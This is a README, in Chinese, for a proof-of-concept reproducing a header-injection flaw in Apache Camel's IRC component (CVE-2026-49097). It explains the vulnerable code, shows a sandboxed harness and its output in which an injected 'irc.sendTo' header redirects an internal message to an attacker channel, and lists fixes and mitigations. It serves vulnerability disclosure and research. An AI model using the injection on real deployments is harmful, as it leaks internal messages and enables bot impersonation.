该项目演示了 Apache Camel 的 camel-irc 组件中的一个消息头注入漏洞,追踪编号为 CVE-2026-49097。IrcProducer 读取 irc.sendTo 头部以选择出站 IRC 消息的目标;当该头部存在时,会覆盖端点配置的频道列表:
// IrcProducer.process (受影响版本 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class); // "irc.sendTo"
...
} else if (sendTo != null) {
connection.doPrivmsg(sendTo, msg); // 攻击者指定的目标
} else {
for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
connection.doPrivmsg(channel.getName(), msg); // 预期的、已配置的频道
}
}
该头部常量 IRC_SEND_TO 的值为 irc.sendTo。由于它不以 Camel / camel 前缀开头,HttpHeaderFilterStrategy(仅在 HTTP 边界阻止 Camel 头部命名空间)允许其从入站 HTTP 请求直接进入 Exchange。
在一个将 HTTP 消费者(例如 platform-http)桥接到 irc: 生产者的路由中,任何 HTTP 客户端都可以提供 irc.sendTo 并将 消息重定向到任意 IRC 频道或昵称,将原本发往内部频道的内容外泄给攻击者监控的目标,或在其他频道中冒充机器人。同一修复中还重命名了另外九个 irc.* 常量;irc.sendTo 是可直接利用的。
本 PoC 演示的影响为消息重定向 / 信息泄露 (CWE-20 → CWE-74)。
公告:https://camel.apache.org/security/CVE-2026-49097.html
修复将十个
irc.*头部常量重命名为CamelIrc*约定(例如irc.sendTo→CamelIrcSendTo),使它们在 HTTP 边界被过滤,就像其他所有 Camel 控制头部一样。与 CVE-2025-27636、CVE-2026-46454 和 CVE-2026-48206 属于同一家族。注意:camel-irc自 4.21.0 起已被弃用。
漏洞完全存在于 IrcProducer 的目标选择中;IRC 套接字仅是传输通道。本复现工具运行真实的 IrcProducer 和真实的 irclib IRCConnection 类,通过子类化使其 send(...)(所有 do* 命令——包括 doPrivmsg——都通过它传递)记录 PRIVMSG 目标,而非写入套接字。一个自定义小型 irc 组件会分配该记录连接。不会接触任何 IRC 网络。
from("platform-http:/notify")
.to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");
一个“通知”端点,将请求转发到固定的内部频道 #alerts。HTTP API 中没有目标参数——作者假设客户端无法选择频道。攻击者设置 irc.sendTo,机器人便会将消息发到攻击者选择的频道。
CVE-2026-49097/
├── pom.xml # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml # 单个自包含服务
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── RecordingIRCConnection.java # 真实的 IRCConnection 子类;记录 PRIVMSG 目标,无套接字
│ ├── RecordingIrcComponent.java # 分配记录连接
│ ├── IrcComponentConfig.java # 在 'irc' 方案下注册
│ ├── IrcRecorder.java # 捕获最后传递的目标 + 文本
│ ├── VictimRoute.java # platform-http:/notify -> irc:...#alerts
│ └── ExploitController.java # 攻击者:注入 irc.sendTo=#exfil-channel
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49097 — camel-irc irc.sendTo 头部注入(消息重定向) ===
路由意图:POST /notify -> IRC 频道 #alerts(在端点配置中固定)
1) 合法 POST /notify(无 irc.sendTo 头部)
IRC 消息发送至: #alerts
文本:第三季度收入报告:$420 万(仅限内部分发)
2) 注入 POST /notify,携带头部 'irc.sendTo: #exfil-channel'
IRC 消息发送至: #exfil-channel
文本:第三季度收入报告:$420 万(仅限内部分发)
>>> 已证明:入站 HTTP 头部 (irc.sendTo) 通过了 Camel HTTP 头部过滤器,并
>>> 覆盖了生产者配置的频道,将内部通知发送到了攻击者选择的 IRC 目标(外泄 / 机器人冒充):true
升级到 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629)。升级后,通过头部设置 IRC 目标的路由必须使用 CamelIrcSendTo 名称。注意 camel-irc 自 4.21.0 起已被弃用。
在升级之前,从任何不可信的入口(例如 removeHeaders("irc.*"))移除 camel-irc 控制头部,并在 irc: 生产者之前从可信来源设置目标。
本复现工具仅用于安全研究和授权测试,针对的漏洞已公开披露并修复。未经明确许可,请勿将其用于任何系统。
| 属性 | 值 |
|---|
| 组件 | camel-irc |
| 受影响类 | org.apache.camel.component.irc.IrcProducer 读取 IrcConstants.IRC_SEND_TO ("irc.sendTo") |
| CWE | CWE-20 (输入验证不当) / CWE-74 (注入) |
| 影响 | 将出站 IRC 消息重定向到攻击者指定的频道/昵称(外泄、冒充) |
| 前提条件 | 存在将 HTTP 消费者桥接到 irc: 生产者的路由;当消费者未认证时 |
| 受影响版本 | 从 4.0.0 至 4.14.8 之前,从 4.15.0 至 4.18.3 之前,从 4.19.0 至 4.21.0 之前 |
| 修复版本 | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23629 (PR apache/camel#23594) |
| 发现者 | Yu Bao (PayPal) |